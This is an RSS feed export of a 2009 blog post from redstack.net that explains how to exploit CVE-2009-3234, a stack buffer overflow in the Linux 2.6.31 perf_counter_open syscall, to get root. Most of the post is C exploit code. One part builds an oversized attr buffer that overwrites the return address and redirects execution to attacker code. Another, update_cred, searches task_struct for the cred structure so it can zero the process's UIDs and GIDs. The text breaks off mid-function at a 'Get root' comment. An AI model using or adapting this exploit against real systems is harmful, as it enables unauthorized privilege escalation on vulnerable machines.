<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>redstack &#187; Exploits</title>
	<atom:link href="http://redstack.net/blog/category/exploits/feed/" rel="self" type="application/rss+xml" />
	<link>http://redstack.net/blog</link>
	<description>Pirates are way cooler than Ninjas, but not as much as Samuraïs</description>
	<lastBuildDate>Tue, 14 Dec 2010 17:14:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>Linux kernel 2.6.31 perf_counter_open exploit</title>
		<link>http://redstack.net/blog/2009/09/24/linux-kernel-2631-perf_counter_open-exploit/</link>
		<comments>http://redstack.net/blog/2009/09/24/linux-kernel-2631-perf_counter_open-exploit/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 15:07:29 +0000</pubDate>
		<dc:creator>xipe</dc:creator>
				<category><![CDATA[Cool Stuff]]></category>
		<category><![CDATA[Exploits]]></category>

		<guid isPermaLink="false">http://redstack.net/blog/?p=70</guid>
		<description><![CDATA[Well, it has been a while since my last technical post &#8230; More than 1 year ?!? Wow, time runs so fast So let&#8217;s go for a post about Linux kernel exploitation (yeah, I know, sounds cool). We will exploit a quite recent bug in kernel 2.6.31 (still unpatched while writing this) in the perf_counter_open [...]]]></description>
			<content:encoded><![CDATA[<p>Well, it has been a while since my last technical post &#8230; More than 1 year ?!? Wow, time runs so fast <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>So let&#8217;s go  for a post about Linux kernel exploitation (yeah, I know, sounds cool). We will exploit a quite recent bug in kernel 2.6.31 (still unpatched while writing this) in the perf_counter_open syscall (<a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3234">CVE 2009-3234</a>) to gain root privileges. As real hackers say, <strong>f34R</strong>.</p>
<p>But, let&#8217;s start by the begining: the bug.</p>
<p><strong><em>perf_copy_attr</em> and the dual fail</strong><br />
The <em>perf_copy_attr</em> method is meant to copy a data structure (of type <em>perf_count_attr</em>) from user space to kernel space. Its definition is:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> <span style="color: #993333;">int</span> perf_copy_attr<span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> perf_counter_attr __user <span style="color: #339933;">*</span>uattr<span style="color: #339933;">,</span>  
                          <span style="color: #993333;">struct</span> perf_counter_attr <span style="color: #339933;">*</span>attr<span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

<p>With <em>uattr</em> being a pointer to the (source) user space structure, and <em>attr</em> being a pointer to the (destination) kernel space structure.<br />
<span id="more-70"></span><br />
Here is the <em>perf_copy_attr</em> code:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> <span style="color: #993333;">int</span> perf_copy_attr<span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> perf_counter_attr __user <span style="color: #339933;">*</span>uattr<span style="color: #339933;">,</span>
                          <span style="color: #993333;">struct</span> perf_counter_attr <span style="color: #339933;">*</span>attr<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span>
        u32 size<span style="color: #339933;">;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span>
        ret <span style="color: #339933;">=</span> get_user<span style="color: #009900;">&#40;</span>size<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>uattr<span style="color: #339933;">-&gt;</span>size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span>
        <span style="color: #808080; font-style: italic;">/*
         * If we're handed a bigger struct than we know of,
         * ensure all the unknown bits are 0.
         */</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>size <span style="color: #339933;">&gt;</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>attr<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> val<span style="color: #339933;">;</span>
                <span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> __user <span style="color: #339933;">*</span>addr<span style="color: #339933;">;</span>
                <span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> __user <span style="color: #339933;">*</span>end<span style="color: #339933;">;</span>
&nbsp;
                addr <span style="color: #339933;">=</span> PTR_ALIGN<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> __user <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>uattr <span style="color: #339933;">+</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>attr<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
                                <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                end  <span style="color: #339933;">=</span> PTR_ALIGN<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> __user <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>uattr <span style="color: #339933;">+</span> size<span style="color: #339933;">,</span>
                                <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">;</span> addr <span style="color: #339933;">&lt;</span> end<span style="color: #339933;">;</span> addr <span style="color: #339933;">+=</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        ret <span style="color: #339933;">=</span> get_user<span style="color: #009900;">&#40;</span>val<span style="color: #339933;">,</span> addr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ret<span style="color: #009900;">&#41;</span>
                                <span style="color: #b1b100;">return</span> ret<span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>val<span style="color: #009900;">&#41;</span>
                                <span style="color: #b1b100;">goto</span> err_size<span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
        <span style="color: #009900;">&#125;</span>
&nbsp;
        ret <span style="color: #339933;">=</span> copy_from_user<span style="color: #009900;">&#40;</span>attr<span style="color: #339933;">,</span> uattr<span style="color: #339933;">,</span> size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Let&#8217;s look at what is happening:</p>
<p>First, <em>size</em> is copied from the user data :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>7
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">        ret <span style="color: #339933;">=</span> get_user<span style="color: #009900;">&#40;</span>size<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>uattr<span style="color: #339933;">-&gt;</span>size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Then, <em>size</em> bytes from user buffer pointed by <em>uattr</em> are copied to kernel buffer pointed by <em>attr</em>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>32
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">        ret <span style="color: #339933;">=</span> copy_from_user<span style="color: #009900;">&#40;</span>attr<span style="color: #339933;">,</span> uattr<span style="color: #339933;">,</span> size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>This means that if the user supply <em>uattr</em> with <em>uattr->size</em> greater than the size of the buffer pointed by <em>attr</em>, the buffer will be overflowed. That&#8217;s the <em>first fail</em>.</p>
<p>But in between lines 7 and 32, there is comment followed by a block of code. This comment says:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>9
10
11
12
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">        <span style="color: #808080; font-style: italic;">/*
         * If we're handed a bigger struct than we know of,
         * ensure all the unknown bits are 0.
         */</span></pre></td></tr></table></div>

<p>Without reading the code, you would think that you can overflow the buffer only with zeros, which, while not making the exploitation impossible, makes it more difficult. But, if you read the code, you will see this:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>15
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">                <span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> __user <span style="color: #339933;">*</span>addr<span style="color: #339933;">;</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>23
24
25
26
27
28
29
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">                <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">;</span> addr <span style="color: #339933;">&lt;</span> end<span style="color: #339933;">;</span> addr <span style="color: #339933;">+=</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        ret <span style="color: #339933;">=</span> get_user<span style="color: #009900;">&#40;</span>val<span style="color: #339933;">,</span> addr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ret<span style="color: #009900;">&#41;</span>
                                <span style="color: #b1b100;">return</span> ret<span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>val<span style="color: #009900;">&#41;</span>
                                <span style="color: #b1b100;">goto</span> err_size<span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>As pointer&#8217;s arithmetic says that adding 1 to a pointer adds the size of the pointed value to the offset contained in the pointer, thus <em>addr += sizeof(unsigned long)</em> adds 4*4 to the offset contained in <em>addr</em> on a 32 bits system.<br />
This means that this loop checks that 1 long equals 0 every 4 longs. That&#8217;s the <em>second fail</em></p>
<p><strong>Exploitation</strong></p>
<blockquote><p>Note:<br />
If you are not comfortable with stack based buffer overflow, you should first read this famous article from Aleph1: <a href="http://www.phrack.org/issues.html?issue=49&#038;id=14#article">Smashing The Stack For Fun And Profit</a>
</p></blockquote>
<p>The interesting thing for us is that <em>perf_copy_attr</em> is called directly from the <em>perf_counter_open</em> syscall and that the destination buffer is on the stack, so it&#8217;s a typical stack based buffer overflow :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">SYSCALL_DEFINE5<span style="color: #009900;">&#40;</span>perf_counter_open<span style="color: #339933;">,</span>
                <span style="color: #993333;">struct</span> perf_counter_attr __user <span style="color: #339933;">*,</span> attr_uptr<span style="color: #339933;">,</span>
                pid_t<span style="color: #339933;">,</span> pid<span style="color: #339933;">,</span> <span style="color: #993333;">int</span><span style="color: #339933;">,</span> cpu<span style="color: #339933;">,</span> <span style="color: #993333;">int</span><span style="color: #339933;">,</span> group_fd<span style="color: #339933;">,</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #339933;">,</span> flags<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span>
        <span style="color: #993333;">struct</span> perf_counter_attr attr<span style="color: #339933;">;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span>
        ret <span style="color: #339933;">=</span> perf_copy_attr<span style="color: #009900;">&#40;</span>attr_uptr<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>attr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span></pre></td></tr></table></div>

<p>Now, let&#8217;s have a look at the <em>perf_counter_attr</em> structure:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/*
 * Hardware event to monitor via a performance monitoring counter:
 */</span>
<span style="color: #993333;">struct</span> perf_counter_attr <span style="color: #009900;">&#123;</span>
        __u32                   type<span style="color: #339933;">;</span>
        __u32                   size<span style="color: #339933;">;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span> <span style="color: #808080; font-style: italic;">/* Total struct length: 64 bytes */</span></pre></td></tr></table></div>

<p>To trigger the overflow and modify the kernel code flow, we need to make an attr buffer so:</p>
<ol>
<li><em>attr.size</em> &gt; <em>sizeof(struct perf_counter_attr)</em></li>
<li>After the first 64 bytes of our buffer, we place zeroes so the loop in <em>perf_copy_attr</em> would not kick us</li>
<li>Rewrite the <em>perf_counter_open</em> return address located in the stack to our code</li>
</ol>
<p><strong>Modifying the kernel code flow</strong></p>
<blockquote><p>Note:<br />
Before continuing, something you should remember is that the Linux kernel shares the address space of the process, so you can access to your process&#8217; memory from the kernel quite as easily as if you were accessing it from your program.</p></blockquote>
<p>The following code is self-explanatory. We start by setting <em>attr.size</em> to <em>128</em>, then the first loop fill the part of attr which will overflow with the address we want to jump to when in kernel-land, and the second loop puts 0s where needed so we will pass the loop test in <em>perf_copy_attr.</em> At the end, we just make a syscall to <em>perf_counter_open</em>.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#define SIZEOF_ATTR 64</span>
<span style="color: #339933;">#define BUFFER_LEN 128</span>
&nbsp;
<span style="color: #993333;">void</span> start<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
        uint32_t <span style="color: #339933;">*</span>attr <span style="color: #339933;">=</span> malloc<span style="color: #009900;">&#40;</span>BUFFER_LEN<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        uint32_t <span style="color: #339933;">*</span>stack_overflow <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>attr <span style="color: #339933;">+</span> SIZEOF_ATTR<span style="color: #339933;">;</span>
        uint32_t <span style="color: #339933;">*</span>aligned_overflow <span style="color: #339933;">=</span> PTR_ALIGN<span style="color: #009900;">&#40;</span>stack_overflow<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        memset<span style="color: #009900;">&#40;</span>attr<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> SIZEOF_ATTR<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;">/* size is the second u32 in the struct */</span>
        attr<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">128</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>stack_overflow <span style="color: #339933;">&lt;</span> attr <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span>BUFFER_LEN <span style="color: #339933;">/</span> <span style="color: #993333;">sizeof</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>attr<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
                <span style="color: #339933;">*</span>stack_overflow <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>uint32_t<span style="color: #009900;">&#41;</span>kernel_code<span style="color: #339933;">;</span>
                stack_overflow <span style="color: #339933;">++;</span>
        <span style="color: #009900;">&#125;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;">/* then put 0s where we need them ... */</span>
        <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>aligned_overflow <span style="color: #339933;">&lt;</span> attr <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span>BUFFER_LEN <span style="color: #339933;">/</span> <span style="color: #993333;">sizeof</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>attr<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
                <span style="color: #339933;">*</span>aligned_overflow <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
                aligned_overflow <span style="color: #339933;">+=</span> <span style="color: #0000dd;">4</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
&nbsp;
        syscall<span style="color: #009900;">&#40;</span>__NR_perf_counter_open<span style="color: #339933;">,</span> attr<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>So, if all wants well when the <em>perf_counter_open</em> function returns, the code flow should be redirected to our code and executed with kernel privileges (ring0). </p>
<p><strong>The Kernel trip</strong><br />
What we need to do while in ring0 (kernel land), is to modify the credentials of our process to get the <em>root</em> privileges and exit the kernel. So, when back in ring3 (user land) we will start a shell from our process with the root privileges.<br />
We start by writing our kernel_code function as this:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">void</span>    kernel_code<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
        update_cred<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        exit_kernel<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p><strong>Upgrading credentials</strong><br />
Credentials of a process are stored in the <em>task_struct</em>. The <em>task_struct</em> is a huge structure holding everything about a process. The current process&#8217; task_struct address is always stored on top of the kernel stack &#8211; sizeof(long).<br />
The <em>task_struct</em> can be organised in different ways depending of kernel compilation options. So, even with the address of this structure, we cannot calculate to exact position of the credential-related fields. On latest kernel, credential are stored in <em>cred</em> structure pointed by the <em>task_struct</em>.</p>
<p>Here is how the <em>task_struct</em> links the credentials:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">struct</span> task_struct <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span>
<span style="color: #808080; font-style: italic;">/* process credentials */</span>
        <span style="color: #993333;">const</span> <span style="color: #993333;">struct</span> cred <span style="color: #339933;">*</span>real_cred<span style="color: #339933;">;</span>   <span style="color: #808080; font-style: italic;">/* objective and real subjective task
                                         * credentials (COW) */</span>
        <span style="color: #993333;">const</span> <span style="color: #993333;">struct</span> cred <span style="color: #339933;">*</span>cred<span style="color: #339933;">;</span>        <span style="color: #808080; font-style: italic;">/* effective (overridable) subjective task
                                         * credentials (COW) */</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span></pre></td></tr></table></div>

<p>And here is the <em>cred</em> structure:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">struct</span> cred <span style="color: #009900;">&#123;</span>
        atomic_t        usage<span style="color: #339933;">;</span>
        uid_t           uid<span style="color: #339933;">;</span>            <span style="color: #808080; font-style: italic;">/* real UID of the task */</span>
        gid_t           gid<span style="color: #339933;">;</span>            <span style="color: #808080; font-style: italic;">/* real GID of the task */</span>
        uid_t           suid<span style="color: #339933;">;</span>           <span style="color: #808080; font-style: italic;">/* saved UID of the task */</span>
        gid_t           sgid<span style="color: #339933;">;</span>           <span style="color: #808080; font-style: italic;">/* saved GID of the task */</span>
        uid_t           euid<span style="color: #339933;">;</span>           <span style="color: #808080; font-style: italic;">/* effective UID of the task */</span>
        gid_t           egid<span style="color: #339933;">;</span>           <span style="color: #808080; font-style: italic;">/* effective GID of the task */</span>
        uid_t           fsuid<span style="color: #339933;">;</span>          <span style="color: #808080; font-style: italic;">/* UID for VFS ops */</span>
        gid_t           fsgid<span style="color: #339933;">;</span>          <span style="color: #808080; font-style: italic;">/* GID for VFS ops */</span>
        <span style="color: #993333;">unsigned</span>        securebits<span style="color: #339933;">;</span>     <span style="color: #808080; font-style: italic;">/* SUID-less security management */</span>
        kernel_cap_t    cap_inheritable<span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* caps our children can inherit */</span>
        kernel_cap_t    cap_permitted<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* caps we're permitted */</span>
        kernel_cap_t    cap_effective<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* caps we can actually use */</span>
        kernel_cap_t    cap_bset<span style="color: #339933;">;</span>       <span style="color: #808080; font-style: italic;">/* capability bounding set */</span>
<span style="color: #339933;">#ifdef CONFIG_KEYS</span>
        <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span>   jit_keyring<span style="color: #339933;">;</span>    <span style="color: #808080; font-style: italic;">/* default keyring to attach requested
                                         * keys to */</span>
        <span style="color: #993333;">struct</span> key      <span style="color: #339933;">*</span>thread_keyring<span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* keyring private to this thread */</span>
        <span style="color: #993333;">struct</span> key      <span style="color: #339933;">*</span>request_key_auth<span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* assumed request_key authority */</span>
        <span style="color: #993333;">struct</span> thread_group_cred <span style="color: #339933;">*</span>tgcred<span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* thread-group shared credentials */</span>
<span style="color: #339933;">#endif</span>
<span style="color: #339933;">#ifdef CONFIG_SECURITY</span>
        <span style="color: #993333;">void</span>            <span style="color: #339933;">*</span>security<span style="color: #339933;">;</span>      <span style="color: #808080; font-style: italic;">/* subjective LSM security */</span>
<span style="color: #339933;">#endif</span>
        <span style="color: #993333;">struct</span> user_struct <span style="color: #339933;">*</span>user<span style="color: #339933;">;</span>       <span style="color: #808080; font-style: italic;">/* real user ID subscription */</span>
        <span style="color: #993333;">struct</span> group_info <span style="color: #339933;">*</span>group_info<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* supplementary groups for euid/fsgid */</span>
        <span style="color: #993333;">struct</span> rcu_head rcu<span style="color: #339933;">;</span>            <span style="color: #808080; font-style: italic;">/* RCU deletion hook */</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>As you may have noticed, <em>task_struct</em> links two <em>cred</em> structures. Under normal circumstances, the two pointers have the same value, thus pointing to the same <em>cred</em> structure.<br />
This plus the very special definition of the <em>cred</em> structure having all the UIDs/GIDs side by side define a special signature.<br />
We will be able to find the <em>cred</em> structure&#8217;s address by walking the <em>task_struct</em> searching for two field having the same exact value and looking like pointers to objects in the kernel memory space.<br />
Then we will check if the pointed memory looks like a <em>cred</em> structure by looking at the UIDs/GIDs suite.<br />
When the <em>cred</em> structure will be found, we will just have to put 0s in the UIDs and GIDs to make our process have the root privileges.</p>
<p>Here is the code of our <em>update_cred</em> function:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> <span style="color: #993333;">void</span> update_cred<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
        uint32_t        i<span style="color: #339933;">;</span>
        uint32_t        <span style="color: #339933;">*</span>task <span style="color: #339933;">=</span> get_current<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* Pointer to the task_struct */</span>
        uint32_t        <span style="color: #339933;">*</span>cred <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">1024</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
                cred <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>uint32_t <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>task<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
                <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>cred <span style="color: #339933;">==</span> <span style="color: #009900;">&#40;</span>uint32_t <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>task<span style="color: #009900;">&#91;</span>i<span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&amp;&amp;</span> cred <span style="color: #339933;">&gt;</span> <span style="color: #009900;">&#40;</span>uint32_t <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #208080;">0xc0000000</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        cred<span style="color: #339933;">++;</span> <span style="color: #808080; font-style: italic;">/* Get ride of the cred's 'usage' field */</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;&amp;</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid
                            <span style="color: #339933;">&amp;&amp;</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;&amp;</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid
                            <span style="color: #339933;">&amp;&amp;</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;&amp;</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">5</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid
                            <span style="color: #339933;">&amp;&amp;</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">6</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;&amp;</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">7</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid<span style="color: #009900;">&#41;</span>
                        <span style="color: #009900;">&#123;</span>
                                <span style="color: #808080; font-style: italic;">/* Get root */</span>
